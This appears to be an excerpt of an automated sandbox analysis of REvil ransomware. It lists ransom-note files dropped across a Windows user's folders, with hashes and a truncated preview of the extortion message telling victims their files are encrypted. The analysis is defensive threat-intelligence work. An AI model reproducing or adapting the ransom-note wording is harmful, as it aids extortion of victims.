                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\OneDrive\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Pictures\Camera Roll\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Pictures\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Recent\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Saved Games\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Searches\Everywhere.search-ms
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):480
                        Entropy (8bit):7.596813007535851
                        Encrypted:false
                        SSDEEP:6:pQaCSmpnJV8I0OaLCPwOLDgIkw6G0d3nk4TqACrGJJzz8Zb0P8wbMvtauOHXj44z:pKrPRLywt0d3k4DC4OSPJMvtaur/D5o
                        MD5:7C9237586BAD8A82927B3A14B6BAC4F7
                        SHA1:0198592D7BA5A76D41CDE78CD3C4A1D5758FBD0B
                        SHA-256:D10BFF4DD649DE0515DBF20E8F23E5AD68FD4029555906A8523C34A654F51767
                        SHA-512:DA6375292160D44115DA715393797422FEF271C3DE79693686F5CBD07E8ABCF257A97F60D90F8743445691A9952EF6946F17F063F84B1E888E8C1A367A813859
                        Malicious:false
                        Preview: .C...Y;..........{...K"....Fz.'..6....cYbr]".# S..++H)F.....F...>D8@ jg*Q..h.P[..*.pX.Y...+K..H..c.|.A.w .x.....{c.\v.B...B+N..N.-..}n+./...zHFV.eL....s/..K.......M.a.i....B>.:..{...0.].P...B.&.U\_.8..y.....kS..H..7....\.W..Z........-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b..U.Yt..=..Q......m.X.........@.6."'...w.h.............*.
                        C:\Users\user\Searches\Indexed Locations.search-ms
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):480
                        Entropy (8bit):7.541905870823924
                        Encrypted:false
                        SSDEEP:12:Bdt9vIpX/B15Giotf+qvSPJMvtaur5gZgv:Bd09B1ytxvuutr6y
                        MD5:896FCC58A48A3A83EB7116C89981CE75
                        SHA1:809AC18D797B3657A82DA4E4F37AC8AC1C52880A
                        SHA-256:D8115B8F6354A5099F222D1FD9BBE861D0E4E78DE1CC57289B3A736B607D1AF3
                        SHA-512:2D0C48D163AFCBC0D1DA464821F2CA810941BDD65C77DF8E92808FA51BFF2346B8A622051A172EB145632FA4A0B7FD866887AE7CCE71C9E15DBD9C3D78974392
                        Malicious:false
                        Preview: ...`.g@..Y.....V..r............a.......f...m.wz..dm*.r.l{..%N.+.k........b9S.U......j...F.)..<.tlyr.U..I.eB/...(.m.!r.......N. >.P.....'.....v.m#q......Z..aJ]'D.........+..8.`.'.g.[$........t.....)k,3_..wP....(C[.J._G[.Ui.N....T.....-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b...z..p$-...>.Z...b.).s.?}.w7|.........8n.w.............
                        C:\Users\user\Searches\winrt--{S-1-5-21-3853321935-2125563209-4053062332-1002}-.searchconnector-ms
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1091
                        Entropy (8bit):7.821896515314162
                        Encrypted:false
                        SSDEEP:24:kDJSxDRm94edYmQHaABABq4sbfou969b8uutrbSqf:cKk4sYmQ49s/6Abpf
                        MD5:98B182BF01B2D38D0EEF2B51A535CE4B
                        SHA1:035BB21594421C96CBF4456E917B2D24E0AF32AB
                        SHA-256:7AC3CB181E8EDC0D1BC784B4DE0C4ACB84E89A32B403D998443F6CEF2F7C347A
                        SHA-512:9B0ADA2E8A02EFA0C580FCB57CD26EF9F43F6C2DF710DD0694A99F999D8C3FCFFC591C8B32346B55E442239D7248AABC5256EBFF79151509F78A63FFBC035F53
                        Malicious:false
                        Preview: ..*.)...0a.....aM...L.3}.W..].k..*.0LZ..W.Z.;.z..".)Z....;/.0....38.F.....I...P/..E./..._7Ehs../...OsU<&.ZZ.....o.x..s....{C.H.G......)].)I..N......<.........V......_.DV..C:...O.g.k...:.u<.=.jC \|..6.>.......~..yl..Y. .c.?U..-Y.v....8:..,=.....8..|Uh.d...<...=.2..R....57.._......Lw.).9.k.x..U...+..O.{9Z...e.J..e.y.........6.B..^......8,~ipx.I}..cb.._.o.i0..p..k..~....I.O.........6.l@.%r..T...\+c.P.....;Ug(.0...r.,..U.Z..D..[.\..J.<~1r.x..R...;.J...!.o@.tB...'.)...J..4l.I.C/..=o....V....yw.....4.bo.;$...$.u....E.....8>..Y.R....O...y.....Z...Ry".{....P>.<....`g.K.O}...]O.....y.Ox.=g.".*c(..Ca..O.o...]*P..Bj..G.Q.5.[.W.?..6......o...O..r.A.#0.W\"..w=V.Zc.._H.._...q..P.^.[....h....?.B...=...A.....[..t$q.9n..4.D...g._...V.8.W3..GW...aKT!.SJ.D..}.C...<.8_.{X.;).4I.......eA.=k.....O.S3N..b.#.=.'.(tX#...m...;......X.)9.S......!.....-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.d
                        C:\Users\user\Searches\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Videos\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Windows\MsMpEng.exe
                        Process:C:\Users\user\Desktop\revil.exe
